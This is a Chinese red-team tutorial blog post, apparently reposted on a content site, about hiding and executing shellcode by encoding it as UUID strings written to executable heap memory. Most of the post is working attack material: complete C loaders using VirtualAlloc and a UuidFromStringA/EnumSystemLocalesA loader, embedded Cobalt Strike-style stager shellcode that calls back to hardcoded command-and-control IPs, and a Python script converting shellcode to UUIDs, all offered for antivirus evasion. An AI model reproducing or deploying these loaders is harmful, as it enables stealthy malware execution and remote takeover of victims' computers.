红队技巧-利用uuid加载shellcode

y

点击蓝字关注我哦

近期国外的Tweet上面的Check Point Research发布了一篇有趣的推文:

这篇推文大概讲的是通过分析了一个恶意样本,找到一种非常有趣的向内存写入shellcode方式。

这里就不细究钓鱼文档利用宏加载shellcode的细节了,感兴趣的可以去看这篇文章:

代码语言:javascript代码运行次数:0运行复制

https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/

值得注意的是:

在自定义代码中,攻击者使用了windows api 遍历了大量硬编码 UUID 值列表,并且每次都提供指向分配内存(堆)的指针,深入分析后,发现了一种将数据写入堆的方法。

这种技术早在2017年就有国外大佬提出,但是最近才抓到恶意样本,爆出来!!

uuid是什么?

通用唯一识别码(Universally Unique Identifier,缩写:UUID),是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。

当然还有一种GUID(全局唯一标识符(英语:Globally Unique Identifier,缩写:GUID)),是一种由算法生成的唯一标识,通常表示成32个16进制数字(0-9,A-F)组成的字符串,如:{21EC2020-3AEA-1069-A2DD-08002B30309D},它实质上是一个128位长的二进制整数

1.那两种有什么区别

简单的说,uuid 是一种标准, 而guid是uuid的一种实现.,GUID 是微软对UUID这个标准的实现。

2.UUID有什么作用?

看一个示例:

COMB(combine)型是数据库特有的一种设计思想,可以理解为一种改进的GUID,它通过组合GUID和系统时间,以使其在索引和检索事有更优的性能,数据库中没有COMB类型,它是Jimmy Nilsson在他的“The Cost of GUIDs as Primary Keys”一文中设计出来的。

COMB数据类型的基本设计思路是这样的:既然UniqueIdentifier数据因毫无规律可言造成索引效率低下,影响了系统的性能,那么我们能不能通过组合的方式,保留UniqueIdentifier的前10个字节,用后6个字节表示GUID生成的时间(DateTime),这样我们将时间信息与UniqueIdentifier组合起来,在保留UniqueIdentifier的唯一性的同时增加了有序性,以此来提高索引效率。

简而言之:UUID 的目的是让分布式系统中的所有元素,都能有唯一的标识,而不需要透过中央控制端来做标识的指定。如此一来,每个人都可以建立不与其它人冲突的 UUID,在这样的情况下,就不需考虑数据库建立时的名称重复问题。

实现原理

首先我们得先关注一下两个windows api 函数

1.UuidFromStringA

查看微软的官方文档,给出了这样的解释:

红队技巧-利用uuid加载shellcode

这个意思说吧,把uuid值转换成二进制字节序列,该api 需要两个参数

1.转换成二进制字节序列的uuid的指针

2.以二进制形式返回指向UUID的指针

快写红薯通AI 快写红薯通AI

快写红薯通AI,专为小红书而生的AI写作工具

快写红薯通AI 57 查看详情 快写红薯通AI

第一项参数很好理解,第二项参数可能翻译过来有点牵强,很好理解,就是用来接收二进制字节序列的指针。

其实python 中也有uuid库,转换挺方便的,把字节序列转换成uuid,再把uuid转换成字节序列

红队技巧-利用uuid加载shellcode

还有需要注意的点,就是windows 二进制字节序列是用的小端计数法,转换时且二进制序列必须16个字符为一组。

2.EnumSystemLocalesA

微软官方文档:

红队技巧-利用uuid加载shellcode

这里牵扯到回调函数:

回调函数就是一个通过函数指针调用的函数,意思是通过函数指针来调用函数,字面不好理解,你不妨看看以下示例

代码语言:javascript代码运行次数:0运行复制

((void(*)())exec)();

这段代码很经典,很多人看了很懵逼,但是对于懂指针的人来说,理所当然,在c语言中,函数变量名存的就是一个函数入口地址,换句话说函数变量名就是一个指针。

然后再让我们理解以下上面那句代码

代码语言:javascript代码运行次数:0运行复制

void(*)() #定义一个函数指针,函数返回值为空((void(*)())exec #强制类型转换,把exec指针强制转换成函数指针((void(*)())exec)();#执行入口地址为exec指向的地址的函数

而EnumSystemLocalesA 函数的第一次个参数就是回调函数地址,第二个参数是指定要枚举的语言环境标识符的标志。

那么上面的就可以写成这个样子:

代码语言:javascript代码运行次数:0运行复制

EnumSystemLocalesA(exec,0);

利用uuid来加载shellcode,上线cs

我们先来看普通的shellcode 的c加载方式

代码语言:javascript代码运行次数:0运行复制

#include   #include  #不弹窗#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"") #pragma comment(linker, "/INCREMENTAL:NO")   unsigned char shellcode[]="shellcode binary ";int main(){  char *a = VirtualAlloc(NULL, sizeof(xor_xcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  memcpy(a, xcode, sizeof(xcode));  ((void(*)())a)();  return 0;}#include#includeunsigned char buf[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68x50x00x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx31x6bx6ax56x00xfexdcx7ax2dx31xc9xe7x28x1exb5x42x5fx62xa3xf5x64x42x79x2dxa2xd8xf7x74xcaxc1x64xc7xc2xfex32xb2x36x0axa0x90x4exfaxd4x47x04xa4x8bxd9xe6x65xa1x8fxbexe4xb6x95x63xf0xb4x46x20x85xf8x60x5exb1xf8xa0x59xefx9exb2xc6xe6xf9x5dx8ex07x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x31x30x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex32x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx36x2ex30x3bx20x54x6fx75x63x68x3bx20x4dx41x53x50x4ax53x29x0dx0ax00x91xa8x10xb7xdax80x7fxabxc7x23x16x2fx4bx61xbdxebxa5x14x6fx90x4bxdfx5ax58xe0x57x55x1fxdbx6ax56x74xc2xa1x9cx9fx32xdax91x0dx01x10x2dx95xefx8ex49x72x3ax2bx9ex59x8ex85xa6xadxb6x9cxc6x98x10x7dx09x1fx60xa3x4axeaxbex4axf5x49x8axc7x18xd6x60x22x51x17xb8xd6x61xd3x8ax81x37x3ex6ax3dx1cx3dxc5xf3xa0x57x02x04x44x57xc1x14x23x71xc2x08x87x6cx94x6bx89xc1xd9x2bxccx6bx62x25x3fxbbx9fx56x02xf1x54x4dx4dx91x4ex89x5bxdax5fxf0x92xa5xacxb2xafxcfxbbxe2xafxb0xcax5bx08x83x4cx92x7axb5x97xb9xd2x07xc9x8fxb7x80xfcx26x3dxa3xd1x9ex29x42x05xcdx0bx78xc2x11x86x4fx66x57xdaxe2x4bx98xccx46x4dxe5xbdxfexc7x2cxc4xd3xe5xc0xf9x43xcaxd4x1dx5ax73xdax00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x30x2ex31x39x2ex34x32x2ex31x34x34x00x12x34x56x78";int main(){  void* shellcode = (void*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  memcpy(shellcode, buf, sizeof(buf));  ((void(*)())shellcode)();  return 0;}

然后我们来利用uuid写shellcode

代码语言:javascript代码运行次数:0运行复制

#include#include#include#pragma comment(lib,"Rpcrt4.lib")using namespace std;const char* uuids[] = { "0089e8fc-0000-8960-e531-d2648b52308b","528b0c52-8b14-2872-0fb7-4a2631ff31c0","7c613cac-2c02-c120-cf0d-01c7e2f05257","8b10528b-3c42-d001-8b40-7885c0744a01","488b50d0-8b18-2058-01d3-e33c498b348b","ff31d601-c031-c1ac-cf0d-01c738e075f4","3bf87d03-247d-e275-588b-582401d3668b","588b4b0c-011c-8bd3-048b-01d089442424","59615b5b-515a-e0ff-585f-5a8b12eb865d","74656e68-6800-6977-6e69-54684c772607","ff31d5ff-5757-5757-5768-3a5679a7ffd5","000084e9-5b00-c931-5151-6a0351516850","53000000-6850-8957-9fc6-ffd5eb705b31","006852d2-4002-5284-5252-53525068eb55","d5ff3b2e-c689-c383-5031-ff57576aff53","062d6856-7b18-d5ff-85c0-0f84c3010000","f685ff31-0474-f989-eb09-68aac5e25dff","68c189d5-2145-315e-ffd5-31ff576a0751","b7685056-e057-ff0b-d5bf-002f000039c7","ff31b774-91e9-0001-00e9-c9010000e88b","2fffffff-6b31-566a-00fe-dc7a2d31c9e7","42b51e28-625f-f5a3-6442-792da2d8f774","c764c1ca-fec2-b232-360a-a0904efad447","d98ba404-65e6-8fa1-bee4-b69563f0b446","60f88520-b15e-a0f8-59ef-9eb2c6e6f95d","5500078e-6573-2d72-4167-656e743a204d","6c697a6f-616c-352f-2e30-2028636f6d70","62697461-656c-203b-4d53-49452031302e","57203b30-6e69-6f64-7773-204e5420362e","57203b32-574f-3436-3b20-54726964656e","2e362f74-3b30-5420-6f75-63683b204d41","534a5053-0d29-000a-91a8-10b7da807fab","2f1623c7-614b-ebbd-a514-6f904bdf5a58","1f5557e0-6adb-7456-c2a1-9c9f32da910d","952d1001-8eef-7249-3a2b-9e598e85a6ad","98c69cb6-7d10-1f09-60a3-4aeabe4af549","d618c78a-2260-1751-b8d6-61d38a81373e","3d1c3d6a-f3c5-57a0-0204-4457c1142371","6c8708c2-6b94-c189-d92b-cc6b62253fbb","f102569f-4d54-914d-4e89-5bda5ff092a5","cfafb2ac-e2bb-b0af-ca5b-08834c927ab5","07d2b997-8fc9-80b7-fc26-3da3d19e2942","780bcd05-11c2-4f86-6657-dae24b98cc46","febde54d-2cc7-d3c4-e5c0-f943cad41d5a","6800da73-b5f0-56a2-ffd5-6a4068001000","00006800-0040-6857-58a4-53e5ffd593b9","00000000-d901-5351-89e7-576800200000","12685653-8996-ffe2-d585-c074c68b0701","75c085c3-58e5-e8c3-a9fd-ffff31302e31","32342e39-312e-3434-0012-345678000000" }; int main(){  HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//获得可执行的句柄  void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间  if (ha == NULL)  {    cout << "内存申请失败!" << endl;    return 0;  }  DWORD_PTR hptr = (DWORD_PTR)ha;  int elems = sizeof(uuids) / sizeof(uuids[0]);//获得需要写入uuids数组元素个数  for (int i = 0; i < elems; i++)  {    //cout << (RPC_CSTR)uuids[i] << endl;    //cout << (UUID*)hptr << endl;    RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);//写入shellcode      if (status != RPC_S_OK)//判断是否写入正常      {        cout << "UuidFromeStringA()!=S_OK" << endl;        CloseHandle(ha);          return -1;      }    hptr += 16;  }  //((void(*)())ha)();  EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数,运行shellcode  CloseHandle(ha);  return 0;}

cs直接上线,这里我们需要用的一个python转换uuid脚本:

代码语言:javascript代码运行次数:0运行复制

import uuidshellcode=b"xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68x50x00x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx76x31x62x53x00x7fx91xe7xa6x06xafx0ex4cxd7x9axe9x05x62x44xdax5cx48x62xfex2cx1axb1x46xe5x9ex3bx14x69x39x97x1fx0bxfbx1axf6x8dx89x79x72x62x8fxccx16x3axabx4cx4bx8dx50xe4xb5xa1x30x1fx46x17x84xa1x17x69xecx2ax4axfexe7xb0x87xb9x7bx5cx61x3axfex00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x4dx41x53x42x29x0dx0ax00x79x00x1bx42x2ex57x64xdax01x3cx02xc6x2ax4axdaxc8x22x1ex92x76x61x47x80x02xb1x8cx24x61x92x9fx53x58x73xdexaex52x30x67x82x47x32x4bx35x10x11xfdxe2x1dx2bx26x18x6bx9dx85x58x10x32xa4x0axcdx92xc1x5ax10x50x6bxe7x87x2axd9xcfxcex92x06x1cx39x6bx75x42xfbx81x4bx60x0bx56xccx1bxa7xe6x0bx0fx49xddxc5xccx48x0dxf4xdbx98xf1xbfx0dxa8x9bx45xcbx4fx41x26x96xf5x0dx4dxe4x58x83x1fx81x6ex67xeax94xabx49x5cxc0x6fx1dx8cx78x8cxc5xd7x01x4dxc7x89xc1x8exe5x46x6dxabx99x5fxa2x26xe1xccx58x8cxefx16xcdxe5x02x4axf9xe5x42x1cxb8x4ax96x7ex69x9ax30x37x97x0dx4ex7ex4cxafx69xccx9ax36xb3xe5x2ax7bx77x64x48x30xa3x44x27x76xd8xe6x03x2ax56xebxe7x21xb1xf6x78x2exf0xaax43xdfx46xa3x95x14x00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x39x32x2ex31x36x38x2ex30x2ex31x30x34x00x12x34x56x78x90x90"list = []for i in range(50):    bytes_a = shellcode[i * 16: 16 + i * 16]    b = uuid.UUID(bytes_le=bytes_a)    list.append(str(b))with open("shellcode.c","w",encoding="utf-8") as f:    f.write("const char* uuids[] ={")    for UUID in list:        f.write("""+UUID+"""+",")    f.write("};")print(list)

替换shellcode,你懂我的意思吧!

在实验的时候我忘了关卡巴,然后你懂得!哈哈哈哈哈哈哈哈哈

学习总结

这里虽然还是给杀了,那是因为这种uuid还是存在一定的特征,还是会被杀,但是这里讲究的是一个思路,可以用其他windows api 来向内存中写入shellcode,加载shellcode,而且在国外大佬blog提到了很多windows api都可以实现这样的功能。

红队技巧-利用uuid加载shellcode

END

以上就是红队技巧-利用uuid加载shellcode的详细内容,更多请关注创想鸟其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/464253.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2025年11月8日 04:49:16
Xbox四月功能更新:移动应用支持购买游戏,并有更多新功能
下一篇 2025年11月8日 04:49:24

相关推荐

  • windows10如何查看S.M.A.R.T.硬盘状态_windows10硬盘S.M.A.R.T.状态查看方法

    电脑运行慢、蓝屏或文件损坏可能是硬盘故障前兆,可通过S.M.A.R.T.技术检测健康状况。1、使用WMIC命令行工具输入“wmic diskdrive get model,status”查看状态,显示Pred Fail需立即备份数据;2、CrystalDiskInfo可深度分析S.M.A.R.T.参…

    2026年9月21日
    100
  • Photopea的AI功能怎么裁剪图片?快速实现高效图片裁剪技巧

    Photopea的AI功能怎么裁剪图片?快速实现高效图片裁剪技巧Photopea的AI功能怎么裁剪图片?快速实现高效图片裁剪技巧Photopea的AI功能怎么裁剪图片?快速实现高效图片裁剪技巧Photopea的AI功能怎么裁剪图片?快速实现高效图片裁剪技巧

    Photopea的AI功能通过智能选择工具与内容感知技术结合,实现高效图片裁剪。首先使用对象选择、快速选择或魔棒工具智能识别主体或背景,再通过“选择并遮住”精细调整边缘,尤其适用于复杂轮廓如发丝。随后可应用图层蒙版透明化背景,并用裁剪工具调整画布范围。结合内容感知填充可移除干扰元素并自动补全画面,内…

    2026年9月21日 用户投稿
    300
  • Linux中如何安装Redis_Linux安装Redis服务的完整教程

    安装编译环境和依赖:Ubuntu/Debian用apt安装build-essential tcl wget,CentOS/RHEL用yum安装Development Tools和tcl wget。2. 下载Redis 7.2.4源码包并%ignore_a_1%,进入目录后执行make编译,可选mak…

    2026年9月21日
    000
  • 编译CEGUI「建议收藏」

    大家好,很高兴再次与你们见面,我是你们的老朋友全栈君。 平台: Windows 7 / 64位 / VS2005 CEGUI下载 地址:https://www.php.cn/link/9a2327a2fcc570914ce9c9e61581cbf8 源码选择: CEGUI 0.7.9 库源码下载 这…

    2026年9月21日
    000
  • VSCode代码空格怎么解决_VSCode缩进与格式处理教程

    解决VSCode代码空格和缩进问题,需配置settings.json中的缩进规则并引入外部格式化工具。首先设置”editor.tabSize”、”editor.insertSpaces”和”editor.detectIndentation&…

    2026年9月21日
    100
  • PHP框架中间件有什么用处_PHP框架中间件设计与实现

    PHP框架中间件是处理请求和响应的过滤器,用于实现身份验证、日志记录、CORS等通用逻辑,核心价值在于解耦和提升可维护性。通过定义中间件接口、具体中间件类及管道调度器可实现自定义中间件,如身份验证或CORS处理。在Laravel中可通过Kernel.php配置全局、分组或路由级中间件,执行顺序按注册…

    2026年9月21日
    000
  • Java中字符到数字转换:解决for循环提前返回的常见陷阱

    本文探讨java中`for`循环在字符到数字转换时,因`return`语句放置不当导致程序提前终止、无法完整处理字符串的问题。我们将分析这种常见陷阱,并提供修正方案,演示如何正确利用循环填充数组,并在循环结束后统一返回最终结果,确保每个字符都能被准确映射和组合。 引言:字符到数字的映射需求 在编程实…

    2026年9月21日
    000
  • 燕云十六声装备回收转流派技巧分享

    燕云十六声装备回收转流派技巧分享燕云十六声装备回收转流派技巧分享燕云十六声装备回收转流派技巧分享燕云十六声装备回收转流派技巧分享

    燕云十六声中,装备是角色变强的关键所在!武器、防具、饰品各具特色,品质更是分为绿、蓝、紫、金四个等级。想要高效提升战力、不浪费培养资源?那就必须掌握装备回收技巧与流派转换策略。具体怎么操作?继续往下看,实用攻略全解析助你轻松上手! 燕云十六声装备回收与转流派技巧指南 一、装备和武学的区别要分清 新手…

    2026年9月21日 用户投稿
    100
  • win10登录界面不显示用户头像或名称怎么办_恢复登录界面完整显示的操作方法

    登录界面缺少头像或账户名时,先检查账户名一致性,修复头像缓存,重设头像,扫描系统文件,必要时创建新管理员账户验证问题。 如果您在启动Windows 10后,登录界面仅显示密码输入框而缺少用户头像或账户名称,则可能是由于系统设置、缓存异常或账户配置问题导致。以下是恢复登录界面完整显示的详细操作方法。 …

    2026年9月21日
    100
  • 梦幻号虚拟主播电商运营宝典(附新手教程+配套工具清单)

    虚拟主播电商的核心在于“内容驱动销售,人设凝聚用户”,要让“梦幻号”真正动起来并实现带货,必须先赋予其鲜明的人设,包括清晰的定位标签(如美食家、科技宅)、独特的人格魅力(性格、口头禅、小缺点)和与产品的强关联性,使其具备辨识度和故事感,从而建立用户信任;接着通过obs studio、vtube st…

    2026年9月21日
    000
  • win10平板模式下屏幕键盘不自动弹出怎么办_恢复屏幕键盘自动弹出的技巧

    1、检查平板电脑模式设置,确保登录和使用时均启用平板模式并重启;2、在设备→输入中开启“不处于平板模式且未连接键盘时显示触摸键盘”;3、通过注册表编辑器创建InitialKeyboardIndicators值为2(十六进制)以强制启用键盘指示器;4、手动显示触摸键盘按钮并测试各应用兼容性,排查特定软…

    2026年9月21日
    000
  • deepseek下载速度优化_从deepseek下载速度优化官网获取

    deepseek下载速度优化入口在官网https://www.deepseek.com,进入后可通过设置调整响应模式、使用智能路由和数据压缩技术提升速度。 ☞☞☞AI 智能聊天, 问答助手, AI 智能搜索, 免费无限量使用 DeepSeek R1 模型☜☜☜ deepseek下载速度优化入口地址在…

    2026年9月21日
    000
  • Java多线程API调用中Future.get()返回null的解决方案

    本文旨在解决%ignore_a_1%api调用中`future.get()`方法返回`null`的常见问题。当使用`callable`和`executorservice`并发执行api请求并尝试获取结果时,如果流读取逻辑不当,可能导致获取到的数据为空。文章将详细解释问题根源,并提供使用`string…

    2026年9月21日
    000
  • VSCode的自动保存功能如何开启?

    在VSCode中开启自动保存需进入“文件”→“首选项”→“设置”,搜索auto save并选择Files: Auto Save模式,可选afterDelay、onFocusChange或onWindowChange,其中afterDelay可设置延迟时间如1000毫秒,启用后状态栏显示保存状态以确认…

    2026年9月21日
    000
  • 升级后如何检查兼容性

    检查兼容性是升级后确保系统稳定的关键,需先确认硬件配置与驱动支持,再验证软件运行及业务流程正常,最后通过系统日志排查潜在错误,逐步排除风险。 系统或软件升级后,检查兼容性是确保各项功能正常运行的关键步骤。直接进入实际使用前,花时间验证兼容性可以避免数据丢失、服务中断等问题。 检查硬件和驱动支持 某些…

    2026年9月21日
    000
  • windows怎么解决蓝屏问题_windows蓝屏故障排查与修复方法

    蓝屏问题通常由驱动冲突、硬件故障或系统文件损坏引起,需记录错误代码并进入安全模式排查;通过设备管理器检查驱动、使用SFC和DISM修复系统文件,并运行内存与硬盘检测工具确认硬件健康,必要时清洁硬件接触点。 如果您在使用Windows系统时遇到电脑突然黑屏并显示蓝色错误界面,这通常意味着系统遇到了无法…

    2026年9月21日
    000
  • mysql如何排查排序异常

    排查MySQL排序异常需先确认ORDER BY是否生效,检查子查询、UNION及应用层逻辑是否覆盖排序;通过EXPLAIN分析是否使用索引排序,避免Using filesort;确保字段类型、字符集和排序规则(collation)符合预期,处理NULL值和大小写敏感性;关注sort_buffer_s…

    2026年9月21日
    000
  • 如何配置VSCode与Jupyter Notebook进行交互式数据科学编程?

    首先安装Python、VSCode及Python扩展,再通过pip安装jupyter;接着在VSCode中创建或打开.ipynb文件,使用Shift+Enter运行单元格;然后通过Ctrl+Shift+P选择Python解释器并确保安装ipykernel以匹配内核;最后启用变量查看器、代码块分隔符和…

    2026年9月21日
    000
  • 即梦AI运镜控制怎么控制_即梦AI视频镜头移动技巧详解

    掌握即梦AI运镜需四步:一、用“镜头缓慢推进”等预设提示词生成标准运动;二、通过动效画板框选主体并绘制运动路径;三、设置首尾帧引导转场,实现穿越或循环效果;四、结合“希区柯克式变焦”“时间冻结环绕”等高级技巧增强视觉表现。 ☞☞☞AI 智能聊天, 问答助手, AI 智能搜索, 免费无限量使用 Dee…

    2026年9月21日
    000
  • windows怎么查看电脑型号_Windows查看电脑硬件型号方法

    通过系统信息工具查看:按Win+R输入msinfo32,查找“系统型号”获取电脑型号;2. 使用命令提示符执行wmic csproduct get name查询型号;3. 在Windows 11设置中进入“系统-关于”,查看“设备规格”下的“设备型号”;4. 利用PowerShell运行Get-Wm…

    2026年9月21日
    100

发表回复

登录后才能评论
关注微信